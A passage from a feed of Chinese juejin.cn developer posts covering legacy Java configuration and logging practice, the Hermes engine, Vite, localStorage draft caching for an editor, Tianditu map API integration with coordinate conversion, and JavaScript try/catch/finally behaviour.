一边获取WEB-INF下的配置文件,一边用外部配置文件进行覆盖,有人可能会问既然覆盖,那可以全在外部配置啊,问的好,如果全用外部配置,咱们代码获取属性有的加上了项目前缀(上面的两个put),有的没加,这样配置文件就显得很乱不可取,所以形成了分开配置的局面,如果接受混乱,就写在外部配置;不能全写在内部配置,因为
prop_c.setProperty(key, value);
value获取外部配置为空的时候会抛出异常;properties底层集合用的是hashTable
public synchronized V put(K key, V value) {
// Make sure the value is not null
if (value == null) {
throw new NullPointerException();
}
}
- 很多参数写死在代码里,如果有改动,工作量会变得异常庞大,举例权限方面伪代码
role.haveRole("ADMIN_USE")
- 日志打印居然sout和log混合双打
先不说双打的事,对于上图这个,应该输出包括堆栈信息,不然定位问题很麻烦,有人可能会说e.getMessage()最好,可是生产问题看多了发现还是打堆栈好;还有如果不是定向返回信息,仅仅是记录日志,完全没必要catch多个异常,一个Exception足够了,不知道原作者这么写的意思是啥;还是就是打印日志要用logger,用sout打印在控制台,那我日志文件干啥;
4.提交的代码没有技术经理把关,下发生产包是个人就可以发导致生产环境代码和本地代码或者数据库数据出现不一致的现象,数据库数据的同步是生产最容易忘记执行的一个事情;比如我的这家公司上传文件模板变化了,但是没同步,导致出问题时开发环境复现问题真是麻烦;
5.随意更改生产数据库,出不出问题全靠开发的职业素养;
6.Maven依赖的问题,Maven引pom,而pom里面却是另一个pom文件,没有生成的jar供引入,是的,我们可以在dependency里加上
<type>pom
来解决这个问题,但是公司内的,而且实际也是引入这个pom里面的jar的,我实在不知道这么做的用意是什么,有谁知道;求教
以上这些都是我最近一家公司出现的问题,除了默默接受还能怎么办;
那有什么优点呢:
- 不用太怎么写文档
- 束缚很小
- 学到了js的全局调用怎么写的(下一篇我来写,顺便巩固一下)
解决之道
怎么解决这些问题呢,首先对于现有的新项目或升级的项目来说,spring的application.xml/yml 完全可以写我们的配置,开发环境没必要整外部文件,如果是生产环境我们可以在脚本或启动命令添加 nohup java -Dfile.encoding=UTF-8 -Dspring.config.location=server/src/main/config/application.properties -jar xxx.jar &
来告诉jar包引哪里的配置文件;也可以加上动态配置,都很棒的,
其次就是规范代码,养成良好的规范,跟着节奏,不要另辟蹊径;老老实实的,如果原项目上迭代,不要动源代码,追加即可,没有时间去重构的;
我也曾是个快乐的童鞋,也有过崇高的理想,直到我面前堆了一座座山,脚下多了一道道坑,我。。。。。。!
来源:juejin.cn/post/7371986999164928010
强大的一笔的Hermes引擎,是如何让你的 App 脱颖而出的!
Hermes 是一款由 Facebook 开源的轻量级 JavaScript 引擎,专门针对 React Native 应用进行了优化。与传统的 JavaScript 引擎(例如 JavaScriptCore 和 V8)相比,Hermes 具有以下优势:
启动时间更快: Hermes 使用预编译字节码(AOT),而不是即时编译(JIT),这可以显著缩短应用的启动时间。
更小的内存占用: Hermes 的体积小巧,占用内存更少,这对于移动设备尤为重要。
更小的应用包大小: 由于 Hermes 的体积小巧,因此可以减小 React Native 应用的包大小。
高效的性能的原因
先看下面这幅图:
Hermes Engine 的设计初衷是为了优化 React Native 应用的性能。它通过对 JavaScript 代码的提前编译,将其转化为字节码,从而减少了运行时的解析时间。这种预编译机制使得应用启动速度显著提升,用户体验更加流畅。
在 CPU 利用率方面,Hermes 也有显著的优势。
通过优化 JavaScript 执行和垃圾回收过程,Hermes 提供了更快的启动时间和更低的内存占用。研究表明,使用 Hermes 的应用在性能上有显著提升,用户体验更加流畅
内存占用和包大小优化
Hermes 采用了优化的内存管理机制,如内存池和高效的垃圾回收算法,能够减少应用在运行时的内存占用。这对于资源受限的移动设备尤为关键。使用 Hermes 编译的应用包体积通常更小。这对于需要快速下载安装的应用很有优势,也有助于提高应用在应用商店的排名。上图就是 Stock RN 应用基于 Hermes 引擎的内存优化后的实际效果。
良好的兼容性
Hermes 提供了强大的调试工具,帮助开发者快速定位和解决问题。其集成的调试功能使得开发者能够实时监控应用的性能,及时发现并修复潜在的性能瓶颈。
Hermes 得到了 Facebook 和开源社区的广泛支持,拥有丰富的文档和活跃的开发者社区。开发者可以轻松获取资源和支持,促进了 Hermes 的快速发展和普及。
一些小众第三方库不支持 Hermes 引擎
虽然,大多数比较有名的第三方库都是支持 Hermes引擎的,但是有一个小小的问题,有些比较小众的第三方库,是不支持 hermes 引擎的,这个时候,你可需要想办法自己改写下这个第三方库,或者给作者提建议。
如,腾讯云 cos ,React Native 的库,就是不支持 Hermes 引擎的。相关issue 在这里:
不过,对于这个问题,你完全可以使用 restful api 呀,所以,解决问题的方式太多了,不要因为一个小众的三方库而放弃恐怖的性能提升,多少有点不值当。
实际应用案例
许多知名应用已经开始采用 Hermes Engine,以提升其性能。例如,Facebook 和 Instagram 的部分功能已成功迁移至 Hermes,用户反馈显示应用的启动时间和流畅度均有显著改善。这些成功案例进一步验证了 Hermes 的强大实力。
如何用上Hermes 引擎
如果你在使用 Expo 做移动端跨端研发,那么恭喜你,默认就是使用的 Hermes 引擎,无需任何配置,如果你想显式配置,也无妨,甚至你可以指定 ios 使用jsc 引擎。
{
"expo": {
"jsEngine": "hermes",
"ios": {
"jsEngine": "jsc"
}
}
}
如果你使用的是 React Native 0.70 或更高版本,则 Hermes 引擎将默认启用。如果你使用的是较早版本的 React Native,则可以按照 React Native 文档 中的说明启用 Hermes 引擎。配置简单的就啰嗦。小伙伴们,React Native 要吊打 Flutter了 吗?拍拍砖?
来源:juejin.cn/post/7394095950383743015
Vite 为何短短几年内变成这样?
给前端以福利,给编程以复利。大家好,我是大家的林语冰。
00. 观前须知
在 Web 开发领域,Vite 如今已如雷贯耳。
自 2020 年 4 月发布以来,Vite 的人气蒸蒸日上。目前 Vite 在 GitHub 上的收藏数量已超过 64k,每周下载量超过 1200 万次,现在为 Nuxt、Remix、Astro 等大多数开源框架提供支持。
尽管众口嚣嚣,我们意识到许多开发者可能仍然不熟悉 Vite 是什么鬼物,也不熟悉 Vite 在推动现代 Web 框架和工具的开发中扮演的重要角色。
在本文中,我们将科普 Vite 的知识储备,以及 Vite 如何在短短几年后发展成为现代 Web 的重量级角色。
免责声明
本文属于是语冰的直男翻译了属于是,略有删改,仅供粉丝参考。英文原味版请传送 What is Vite (and why is it so popular)?。
01. Vite 是什么鬼物?
Vite 的发音为 /vit/
,在法语中是“快速”或“迅捷”的意思,不得不说 Vite 名副其实。
简而言之,Vite 是一种现代 JS 构建工具,为常见 Web 模式提供开箱即用的支持和构建优化,兼具 rollup
的自由度和成熟度。
Vite 还与 esbuild
和原生 ES 模块强强联手,实现快速无打包开发服务器。
Vite 是由“Vue 之父”尤雨溪(Evan You)构思出来的,旨在通过减少开发者在启动开发服务器和处理文件编辑后重载时遭遇的性能瓶颈,简化打包过程。
02. Vite 的核心特性
运行 Vite 时,你会注意到的第一个区别在于,开发服务器会即时启动。
这是因为,Vite 采用按需方法将你的应用程序提供给浏览器。Vite 不会首先打包整个源码,而是响应浏览器请求,将你编写的模块即时转换为浏览器可以理解的原生 ESM 模块。
Vite 为 TS、PostCSS、CSS 预处理器等提供开箱即用的支持,且可以通过不断增长的插件生态系统进行扩展,支持所有你喜欢的框架和工具。
每当你在开发期间更改项目中的任意文件时,Vite 都会使用应用程序的模块图,只热重载受影响的模块(HMR)。这允许开发者预览他们的更改,及其对应用程序的影响。
Vite 的 HMR 速度惊人,可以让编辑器自动保存,并获得类似于在浏览器开发工具中修改 CSS 时的反馈循环。
Vite 还执行 依赖预构建(dependency pre-bundling)。在开发过程中,Vite 使用 esbuild
来打包你的依赖并缓存,加快未来服务器的启动速度。
此优化步骤还有助于加快 lodash
等导出许多迷你模块的依赖的加载时间,因为浏览器只加载每个依赖的代码块(chunk)。这还允许 Vite 在依赖中支持 CJS 和 UMD 代码,因为它们被打包到原生 ESM 模块中。
当你准备好部署时,Vite 将使用优化的 rollup
设置来构建你的应用程序。Vite 会执行 CSS 代码分割,添加预加载指令,并优化异步块的加载,无需任何配置。
Vite 提供了一个通用的 rollup
兼容插件 API,适用于开发和生产,使你可以更轻松地扩展和自定义构建过程。
03. Vite 的优势
使用 Vite 有若干主要优势,包括但不限于:
03-1. 开源且独立
Vite 由开源开发者社区“用爱发电”,由来自不同背景的开发者团队领导,Vite 核心仓库最近贡献者数量已突破 900 人。
Vite 得到积极的开发和维护,不断实现新功能并解决错误。
03-2. 本地敏捷开发
开发体验是 Vite 的核心,每次点击保存时,你都能感受到延迟。我们常常认为重载速度是理所当然的。
但随着您的应用程序增长,且重载速度逐渐停止,你将感恩 Vite 几乎能够保持瞬间重载,而无论应用程序大小如何。
03-3. 广泛的生态系统支持
Vite 的方案人气爆棚,大多数框架和工具都默认使用 Vite 或拥有一流的支持。通过选择使用 Vite 作为构建工具,这些项目维护者可以在它们之间共享一个统一基建,且随着时间的推移共同改良 Vite。
因此,它们可以花更多的时间开发用户需要的功能,而减少重新造轮子的时间。
03-4. 易于扩展
Vite 对 rollup
插件 API 的押注得到了回报。插件允许下游项目共享 Vite 核心提供的功能。
我们有很多高质量的插件可供使用,例如 vite-plugin-pwa
和 vite-imagetools
。
03-5. 框架构建难题中的重要角色
Vite 是现代元框架构建的重要组成部分之一,这是一个更大的工具生态系统的一部分。
Volar 提供了在代码编辑器中为 Vue、MDX 和 Astro 等自定义编程语言构建可靠且高性能的编辑体验所需的工具。Volar 允许框架向用户提供悬停信息、诊断和自动补全等功能,并共享 Volar 作为为它们提供支持的通用基建。
另一个很好的例子是 Nitro,它是一个服务器工具包,用于创建功能齐全的 Web 服务器,开箱即用地支持每个主要部署平台。Nitro 是一个与框架无关的库 UnJS 的奇妙集合的一部分。
04. Vite 的未来
在最近的 ViteConf 大会的演讲中,尤雨溪表示,虽然 Vite 取得了巨大进展,但仍面临一些已知的问题和挑战。
Vite 目前使用 rollup
进行生产构建,这比 esbuild
或 Bun
等原生打包器慢得多。
Vite 还尽可能减少开发和生产环境之间的不一致性,但考虑到 rollup
和 esbuild
之间的差异,某些不一致性无法避免。
尤雨溪现在领导一个新团队开发 rolldown
,这是一个基于 Rust 的 rollup
移植,在 “JS 氧化编译器 OXC”之上构建了最大的兼容性。
这个主意是用 rolldown
替代 Vite 中的 rollup
和 esbuild
。Vite 将拥有一个单独基建,兼具 rollup
的自由度和 esbuild
的速度,消除不一致性,使代码库更易于维护,并加快构建时间。
rolldown
目前处于早期阶段,但已经显示出有希望的结果。rolldown
现已开源,rolldown
团队正在寻找贡献者来辅助实现这一愿景。
与此同时,Vite 团队在每个版本中不断改良 Vite。这项工作从上游的为 Vitest 和 Nuxt Dev SSR 提供动力的引擎 vite-node
开始,现已发展成为框架作者对 Vite API 的完整修订版。
新版 Environment API 预计在 Vite 6 中发布,这将是自 Vite 2 发布以来 Vite 最大的变化之一。这将允许在任意数量的环境中通过 Vite 插件管道运行代码,解锁对 worker、RSC 等的一流支持。
Vite 正在开辟一条前进的道路,并迅速成为 JS 生态系统事实上的构建工具。
参考文献
- Vite:vitejs.dev
- Blog:blog.stackblitz.com/posts/what-…
- Rolldown:rolldown.rs
粉丝互动
本期话题是:如何评价人气爆棚的 Vite,你最喜欢或期待 Vite 的哪个功能?你可以在本文下方自由言论,文明科普。
欢迎持续关注“前端俱乐部”,给前端以福利,给编程以复利。
坚持阅读的小伙伴可以给自己点赞!谢谢大家的点赞,掰掰~
来源:juejin.cn/post/7368836713965486119
因为编辑器没做草稿,老板崩溃了。。。
现场
大家好,我是多喝热水。
事情是这样的,那天晚上老板在群里吐槽说他在手机上写了将近 1000 字的评论不小心点了一下黑屏,然后内容就突然没了,如下:
原来是我们编辑器没有做草稿能力,导致关闭后原本编辑的内容都消失了,确实这个体验不太好,想想怎么把这里优化一下。
调研
像我们平时用得比较多的社交平台,比如某音、某书等,先从它们的评论区入手,看看主流的平台是怎么做的。
1)某音
某音的效果是,在某条视频下评论后划走,再划回来编辑的内容就不在了,看样子是没有做草稿能力,如图:
2)某书
某书的效果是,在某个笔记下面评论然后划走,再回来的时候内容是还在的。而且每条评论都有自己的编辑态,互不干扰,如图:
好看真好看,呸好用真好用,既然体验上某书更好,我决定仿照某书的方案来实现。
既然要做成某书的效果,那我们就需要解决两个问题:
1)他们评论区草稿内容是怎么存的?
2)存在哪里了?
内容怎么存?
先说说我的看法,如果要让每条评论都拥有独立的编辑态,那么肯定是需要一个唯一标识的,那我能想到的唯一标识就是ID。
内容存哪里?
存后端还是存前端?存前端的话又存哪里?这里我简单总结了一下:
存后端
优势:数据真正的持久化、安全性高
缺陷:需要网络连接,依赖后端,开发成本高
存前端
优势:简单易用、性能好、脱机可用
缺陷:无法真正持久化、存储空间有限、不安全
方案选择
回归到需求本身,我们不需要实时性多么高,所以存前端就已经可以满足我们的需求了。
但在前端存储还有一个存储空间问题,需要考虑一下存储内容的有效时间,过期了就得删除,不然会存在很多冗余数据,所以我们又面临新的问题,前端用什么来存?
浏览器常用的存储方案:cookie、localStorage、sessionStorage
1)cookie 是可以设置过期时间的,但如果存 cookie,那它的容量只有5kb,有点太小了,并且每次发请求 cookie 都会被携带上,无疑是增加了额外的带宽开销
2)sessionStorage 存储空间最大支持5MB,但窗口被关闭后数据就过期了,有效期仅仅是窗口会话期间,万一用户不小心关闭了窗口,数据也消失了,所以这个方案也不太妥当
3)相比之下 localStorage 的容量也有 5MB,足够大,但是它本身不支持设置过期时间(默认永久有效),需要人为去控制,好在这个成本并不高,综合之下我们还是选择存 localStorage 了
开发
选好方案后,就可以开始动手开发了!先把支持控制过期时间 的 localStorage 逻辑写一下。
写之前我们需要考虑一下代码的复用性,因为在我们网站中,有很多地方都用到了编辑器,比如评论区、交流内容发布等,如果每一处都写一遍的话,那这个代码就太冗余了,所以将它封装为一个 hook 是一个不错的选择,代码如下:
import { CACHE_TYPE, EXPIRES_TIME } from './constants';
/**
* 缓存数据
* @param key
* @returns
*/
export default function useCache(key: string = CACHE_TYPE.ESSAY_CONTENT) {
/**
* 删除缓存数据
*/
const removeCache = () => {
localStorage.removeItem(key);
};
/**
* 设置缓存数据
* @param data 数据内容
* @param expires 过期时间(毫秒)
*/
const setCache = (data: any, expires: number = EXPIRES_TIME) => {
const cacheData = {
value: data,
expires: expires ? Date.now() + expires : null, // 计算过期时间戳
};
localStorage.setItem(key, JSON.stringify(cacheData));
};
/**
* 获取缓存数据
* @returns 缓存数据或 null
*/
const getCache = () => {
const cachedString = localStorage.getItem(key);
if (!cachedString) {
return null;
}
const cachedObject = JSON.parse(cachedString);
// 检查是否设置了过期时间并且是否已经过期
if (cachedObject.expires && Date.now() > cachedObject.expires) {
removeCache(); // 删除已过期的数据
return null;
}
return cachedObject.value;
};
return { removeCache, setCache, getCache };
}
简单解释一下上面的代码:
1)useCache 函数主要接收一个 KEY,删除、获取、设置草稿数据都会用到这个 KEY,且我们保证它是唯一的
2)在设置需要缓存内容时(setCache),会给出一个 expires 的参数用于控制该数据的有效时间
3)获取数据的时候会校验一下有效时间,如果已经过期了则返回 null
在编辑器中应用
最后我们需要在用到编辑器的地方使用这个 hook。
可能有些小伙伴会觉得我们网站中用到编辑器的地方很多,这一步才是一个大工程,其实不然,因为我们所有用到编辑器的地方都是用的同一个组件,我们需要改动的地方就是那个公共的编辑器组件!
这时候封装带来的便捷性就体现的淋漓尽致,省去了不少时间用来摸鱼!!!
改动代码如下(伪代码):
type GeneralContentEditorProps = {
targetId?: string; // 缓存ID
// 省略不相关代码...
};
/**
* 通用的内容编辑器
* @param props
* @returns
*/
export default function GeneralContentEditor({
targetId,
// 省略不相关代码...
}: GeneralContentEditorProps) {
// 省略不相关代码...
const [content, setContent] = useState('')
const { getCache, setCache, removeCache } = useCache(targetId);
useEffect(() => {
setContent(getCache() ?? '')
}, [])
}
简单解释一下上面的代码:
1)给编辑器新增了一个属性 targetId,这个 targetId 用来作为缓存的唯一标识,由使用方提供给我们
2)初始化的时候去调 getCache 函数读取缓存的数据
3)有内容变更的时候调 setCache 函数去更新缓存的数据
到这里流程已经跑通了,但还缺少重要的一步,需要定时清空一下缓存的数据,因为现在的逻辑是如果我们不主动去获取这个数据,它还是占据着存储空间。
清空冗余数据
其实我们也不需要专门去写定时器来清空,只需要在编辑器初始化的时候去检测一遍就可以,所以代码还需加点料,如下图:
到这一步编辑器草稿能力就完善的差不多了,已经能够正常使用了,我们看看效果,如下:
nice,没有什么问题,好了,我要去摸鱼了 😋
来源:juejin.cn/post/7419598991119532043
老板想集成地图又不想花钱,于是让我...
前言
在数字化时代,地图服务已成为各类应用的标配,无论是导航、位置分享还是商业分析,地图都扮演着不可或缺的角色。然而,高质量的地图服务往往伴随着不菲的授权费用。公司原先使用的是国内某知名地图服务,但随着业务的扩展和成本的考量,老板决定寻找一种成本更低的解决方案。于是,我们的目光转向了免费的地图服务——天地图。
天地图简介
天地图(lbs.tianditu.gov.cn/server/guid…
是中国领先的在线地图服务之一,提供全面的地理信息服务。它的API支持地理编码、逆地理编码、周边搜索等多种功能,且完全免费。这正是我们需要的。
具体实现代码
为了将天地图集成到我们的系统中,我们需要进行一系列的开发工作。以下是实现过程中的关键代码段。
1. 逆地理编码
逆地理编码是将经纬度转换为可读的地址。在天地图中,这一功能可以通过以下代码实现:
public static MapLocation reverseGeocode(String longitude, String latitude) {
Request request = new Request();
LocateInfo locateInfo = GCJ02_WGS84Utils.gcj02_To_Wgs84(Double.valueOf(latitude), Double.valueOf(longitude));
longitude = String.valueOf(locateInfo.getLongitude());
latitude = String.valueOf(locateInfo.getLatitude());
String postStr = String.format(REVERSE_GEOCODE_POST_STR, longitude, latitude);
String encodedPostStr = null;
try {
encodedPostStr = URLEncoder.encode(postStr, "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
String url = REVERSE_GEOCODE_URL + "?tk=" + TK + "&type=" + GEOCODE + "&postStr=" + encodedPostStr;
request.setUrl(url);
Response<String> response = HttpClientHelper.getWithoutUserAgent(request, null);
if (response.getSuccess()) {
String body = response.getBody();
JSONObject jsonObject = JSON.parseObject(body);
String status = jsonObject.getString("status");
if (!"0".equals(status)) {
return null;
}
JSONObject resultObject = jsonObject.getJSONObject("result");
MapLocation mapLocation = new MapLocation();
String formattedAddress = resultObject.getString("formatted_address");
mapLocation.setAddress(formattedAddress);
String locationStr = resultObject.getString("location");
JSONObject location = JSON.parseObject(locationStr);
String lon = location.getString("lon");
String lat = location.getString("lat");
locateInfo = GCJ02_WGS84Utils.wgs84_To_Gcj02(Double.valueOf(lat), Double.valueOf(lon));
lon = String.valueOf(locateInfo.getLongitude());
lat = String.valueOf(locateInfo.getLatitude());
mapLocation.setLongitude(lon);
mapLocation.setLatitude(lat);
JSONObject addressComponent = resultObject.getJSONObject("addressComponent");
String address = addressComponent.getString("address");
mapLocation.setName(address);
mapLocation.setCity(addressComponent.getString("city"));
return mapLocation;
}
return null;
}
2. 周边搜索
周边搜索允许我们根据一个地点的经纬度搜索附近的其他地点。实现代码如下:
public static List<MapLocation> nearbySearch(String query, String longitude, String latitude, String radius) {
LocateInfo locateInfo = GCJ02_WGS84Utils.gcj02_To_Wgs84(Double.valueOf(latitude), Double.valueOf(longitude));
longitude = String.valueOf(locateInfo.getLongitude());
latitude = String.valueOf(locateInfo.getLatitude());
Request request = new Request();
String longLat = longitude + "," + latitude;
String postStr = String.format(NEARBY_SEARCH_POST_STR, query, Integer.valueOf(radius), longLat);
String encodedPostStr = null;
try {
encodedPostStr = URLEncoder.encode(postStr, "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
String url = SEARCH_URL + "?tk=" + TK + "&type=" + QUERY + "&postStr=" + encodedPostStr;
request.setUrl(url);
Response<String> response = HttpClientHelper.getWithoutUserAgent(request, null);
List<MapLocation> list = new ArrayList<>();
if (response.getSuccess()) {
String body = response.getBody();
JSONObject jsonObject = JSON.parseObject(body);
JSONObject statusObject = jsonObject.getJSONObject("status");
String infoCode = statusObject.getString("infocode");
if (!"1000".equals(infoCode)) {
return new ArrayList<>();
}
String resultType = jsonObject.getString("resultType");
String count = jsonObject.getString("count");
if (!"1".equals(resultType) || "0".equals(count)) {
return new ArrayList<>();
}
JSONArray poisArray = jsonObject.getJSONArray("pois");
for (int i = 0; i < poisArray.size(); i++) {
JSONObject poiObject = poisArray.getJSONObject(i);
MapLocation mapLocation = new MapLocation();
mapLocation.setName(poiObject.getString("name"));
mapLocation.setAddress(poiObject.getString("address"));
String lonlat = poiObject.getString("lonlat");
String[] lonlatArr = lonlat.split(",");
locateInfo = GCJ02_WGS84Utils.wgs84_To_Gcj02(Double.valueOf(lonlatArr[1]), Double.valueOf(lonlatArr[0]));
String lon = String.valueOf(locateInfo.getLongitude());
String lat = String.valueOf(locateInfo.getLatitude());
mapLocation.setLongitude(lon);
mapLocation.setLatitude(lat);
list.add(mapLocation);
}
}
return list;
}
3. 文本搜索
文本搜索功能允许用户根据关键词搜索地点。实现代码如下:
public static List<MapLocation> searchByText(String query, String mapBound) {
Request request = new Request();
String postStr = String.format(SEARCH_BY_TEXT_POST_STR, query, mapBound);
String encodedPostStr = null;
try {
encodedPostStr = URLEncoder.encode(postStr, "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
String url = SEARCH_URL + "?tk=" + TK + "&type=" + QUERY + "&postStr=" + encodedPostStr;
request.setUrl(url);
Response<String> response = HttpClientHelper.getWithoutUserAgent(request, null);
List<MapLocation> list = new ArrayList<>();
if (response.getSuccess()) {
String body = response.getBody();
JSONObject jsonObject = JSON.parseObject(body);
JSONObject statusObject = jsonObject.getJSONObject("status");
String infoCode = statusObject.getString("infocode");
if (!"1000".equals(infoCode)) {
return new ArrayList<>();
}
String resultType = jsonObject.getString("resultType");
String count = jsonObject.getString("count");
if (!"1".equals(resultType) || "0".equals(count)) {
return new ArrayList<>();
}
JSONArray poisArray = jsonObject.getJSONArray("pois");
for (int i = 0; i < poisArray.size(); i++) {
JSONObject poiObject = poisArray.getJSONObject(i);
MapLocation mapLocation = new MapLocation();
mapLocation.setName(poiObject.getString("name"));
mapLocation.setAddress(poiObject.getString("address"));
String lonlat = poiObject.getString("lonlat");
String[] lonlatArr = lonlat.split(",");
LocateInfo locateInfo = GCJ02_WGS84Utils.wgs84_To_Gcj02(Double.valueOf(lonlatArr[1]), Double.valueOf(lonlatArr[0]));
String lon = String.valueOf(locateInfo.getLongitude());
String lat = String.valueOf(locateInfo.getLatitude());
mapLocation.setLongitude(lon);
mapLocation.setLatitude(lat);
list.add(mapLocation);
}
}
return list;
}
4. 坐标系转换
由于天地图使用的是WGS84坐标系,而国内常用的是GCJ-02坐标系,因此我们需要进行坐标转换。以下是坐标转换的工具类:
/**
* WGS-84:是国际标准,GPS坐标(Google Earth使用、或者GPS模块)
* GCJ-02:中国坐标偏移标准,Google Map、高德、腾讯使用
* BD-09:百度坐标偏移标准,Baidu Map使用(经由GCJ-02加密而来)
* <p>
* 这些坐标系是对真实坐标系统进行人为的加偏处理,按照特殊的算法,将真实的坐标加密成虚假的坐标,
* 而这个加偏并不是线性的加偏,所以各地的偏移情况都会有所不同,具体的内部实现是没有对外开放的,
* 但是坐标之间的转换算法是对外开放,在网上可以查到的,此算法的误差在0.1-0.4之间。
*/
public class GCJ02_WGS84Utils {
public static double pi = 3.1415926535897932384626;//圆周率
public static double a = 6378245.0;//克拉索夫斯基椭球参数长半轴a
public static double ee = 0.00669342162296594323;//克拉索夫斯基椭球参数第一偏心率平方
/**
* 从GPS转高德
* isOutOfChina 方法用于判断经纬度是否在中国范围内,如果不在中国范围内,则直接返回原始的WGS-84坐标。
* transformLat 和 transformLon 是辅助函数,用于进行经纬度的转换计算。
* 最终,wgs84ToGcj02 方法返回转换后的GCJ-02坐标系下的经纬度。
*/
public static LocateInfo wgs84_To_Gcj02(double lat, double lon) {
LocateInfo info = new LocateInfo();
if (isOutOfChina(lat, lon)) {
info.setChina(false);
info.setLatitude(lat);
info.setLongitude(lon);
} else {
double dLat = transformLat(lon - 105.0, lat - 35.0);
double dLon = transformLon(lon - 105.0, lat - 35.0);
double radLat = lat / 180.0 * pi;
double magic = Math.sin(radLat);
magic = 1 - ee * magic * magic;
double sqrtMagic = Math.sqrt(magic);
dLat = (dLat * 180.0) / ((a * (1 - ee)) / (magic * sqrtMagic) * pi);
dLon = (dLon * 180.0) / (a / sqrtMagic * Math.cos(radLat) * pi);
double mgLat = lat + dLat;
double mgLon = lon + dLon;
info.setChina(true);
info.setLatitude(mgLat);
info.setLongitude(mgLon);
}
return info;
}
//从高德转到GPS
public static LocateInfo gcj02_To_Wgs84(double lat, double lon) {
LocateInfo info = new LocateInfo();
LocateInfo gps = transform(lat, lon);
double lontitude = lon * 2 - gps.getLongitude();
double latitude = lat * 2 - gps.getLatitude();
info.setChina(gps.isChina());
info.setLatitude(latitude);
info.setLongitude(lontitude);
return info;
}
// 判断坐标是否在国外
private static boolean isOutOfChina(double lat, double lon) {
if (lon < 72.004 || lon > 137.8347)
return true;
if (lat < 0.8293 || lat > 55.8271)
return true;
return false;
}
//转换
private static LocateInfo transform(double lat, double lon) {
LocateInfo info = new LocateInfo();
if (isOutOfChina(lat, lon)) {
info.setChina(false);
info.setLatitude(lat);
info.setLongitude(lon);
return info;
}
double dLat = transformLat(lon - 105.0, lat - 35.0);
double dLon = transformLon(lon - 105.0, lat - 35.0);
double radLat = lat / 180.0 * pi;
double magic = Math.sin(radLat);
magic = 1 - ee * magic * magic;
double sqrtMagic = Math.sqrt(magic);
dLat = (dLat * 180.0) / ((a * (1 - ee)) / (magic * sqrtMagic) * pi);
dLon = (dLon * 180.0) / (a / sqrtMagic * Math.cos(radLat) * pi);
double mgLat = lat + dLat;
double mgLon = lon + dLon;
info.setChina(true);
info.setLatitude(mgLat);
info.setLongitude(mgLon);
return info;
}
//转换纬度所需
private static double transformLat(double x, double y) {
double ret = -100.0 + 2.0 * x + 3.0 * y + 0.2 * y * y + 0.1 * x * y
+ 0.2 * Math.sqrt(Math.abs(x));
ret += (20.0 * Math.sin(6.0 * x * pi) + 20.0 * Math.sin(2.0 * x * pi)) * 2.0 / 3.0;
ret += (20.0 * Math.sin(y * pi) + 40.0 * Math.sin(y / 3.0 * pi)) * 2.0 / 3.0;
ret += (160.0 * Math.sin(y / 12.0 * pi) + 320 * Math.sin(y * pi / 30.0)) * 2.0 / 3.0;
return ret;
}
//转换经度所需
private static double transformLon(double x, double y) {
double ret = 300.0 + x + 2.0 * y + 0.1 * x * x + 0.1 * x * y + 0.1
* Math.sqrt(Math.abs(x));
ret += (20.0 * Math.sin(6.0 * x * pi) + 20.0 * Math.sin(2.0 * x * pi)) * 2.0 / 3.0;
ret += (20.0 * Math.sin(x * pi) + 40.0 * Math.sin(x / 3.0 * pi)) * 2.0 / 3.0;
ret += (150.0 * Math.sin(x / 12.0 * pi) + 300.0 * Math.sin(x / 30.0 * pi)) * 2.0 / 3.0;
return ret;
}
}
结论
通过上述代码,我们成功地将天地图集成到了我们的系统中,不仅满足了功能需求,还大幅降低了成本。这一过程中,我们深入理解了地图服务的工作原理,也提升了团队的技术能力。
注意事项
- 确保在使用天地图API时遵守其服务条款,尤其是在商业用途中。
- 由于网络或其他原因,天地图API可能存在访问延迟或不稳定的情况,建议在生产环境中做好异常处理和备用方案。
- 坐标系转换是一个复杂的过程,确保使用可靠的算法和工具进行转换,以保证定位的准确性。
通过这次集成,我们不仅为公司节省了成本,还提升了系统的稳定性和用户体验。在未来的开发中,我们将继续探索更多高效、低成本的技术解决方案。
来源:juejin.cn/post/7419524888041472009
js中的finally一定会执行吗?
背景
在我们程序开发中,我们的代码会出现这种或那种的错误,我们使用try...catch
进行捕获。如果需要不管是成功还是失败都需要执行,我们可能需要finally
。
那么有一个问题,无论是否发生错误,在finally
中的代码一定会执行吗?
下面我们看一个案例:
1. 案例
场景:请求一个接口,如果接口没有正确返回,我们使用try...finally
包裹代码,代码如下:
function getMember(num) {
return new Promise((resolve, reject) => {
setTimeout(() => {
if (num === 1) {
resolve(num)
}
if (num === 0) {
reject()
}
}, 2000)
})
}
async function init() {
try {
console.log('打印***start')
await getMember(0)
console.log('打印***end')
} catch (err) {
console.log('打印***err')
} finally {
console.log('打印***finally')
}
}
结果如下:
上述案例中,如果请求传入的num
由另外一个接口返回,num
的值不是0
或者1
,上述的getMember
就一直处于pengding
状态,接下来的finally
也不会执行。
我们也可以这样理解,当在处理Promise
问题时,我们需要确保Promise
始终得到结果,不管是成功还是失败。
上述代码可以完善如下:
function getMember(num) {
return new Promise((resolve, reject) => {
setTimeout(() => {
if (num === 1) {
resolve(num);
} else if (num === 0) {
reject(new Error('Num is 0'));
} else {
// 默认情况,也解决Promise
resolve('Some default value');
}
}, 2000);
});
}
async function init() {
try {
console.log('打印***start');
const result = await getMember(2); // 传递一个非0非1的值
console.log('打印***end', result);
} catch (err) {
console.log('打印***err', err);
} finally {
console.log('打印***finally'); // 这行总是会被执行
}
}
init();
修改后的例子中,无论num
的值是什么,Promise
都会被解决(要么通过resolve
,要么通过reject
),,确保Promise
被正常处理,才能确保finally
执行。
2. try...catch注意点
2.1 仅对运行时的 error 有效
要使得 try...catch
能工作,代码必须是可执行的。换句话说,它必须是有效的 JavaScript 代码。
如果代码包含语法错误,那么 try..catch
将无法正常工作,例如含有不匹配的花括号:
try {
{
{
} catch (err) {
alert("引擎无法理解这段代码,它是无效的");
}
结果如下:
JavaScript 引擎首先会读取代码,然后运行它。在读取阶段发生的错误被称为“解析时间(parse-time)”错误,并且无法恢复(从该代码内部)。这是因为引擎无法理解该代码。
所以,try...catch
只能处理有效代码中出现的错误。这类错误被称为“运行时的错误(runtime errors)”,有时被称为“异常(exceptions)”。
2.2 try...catch
同步执行
如果在定时代码中发生异常,例如在 setTimeout
中,则 try...catch
不会捕获到异常:
try {
setTimeout(function () {
noSuchVariable; // 脚本将在这里停止运行
}, 1000);
} catch (err) {
alert("不工作");
} finally {
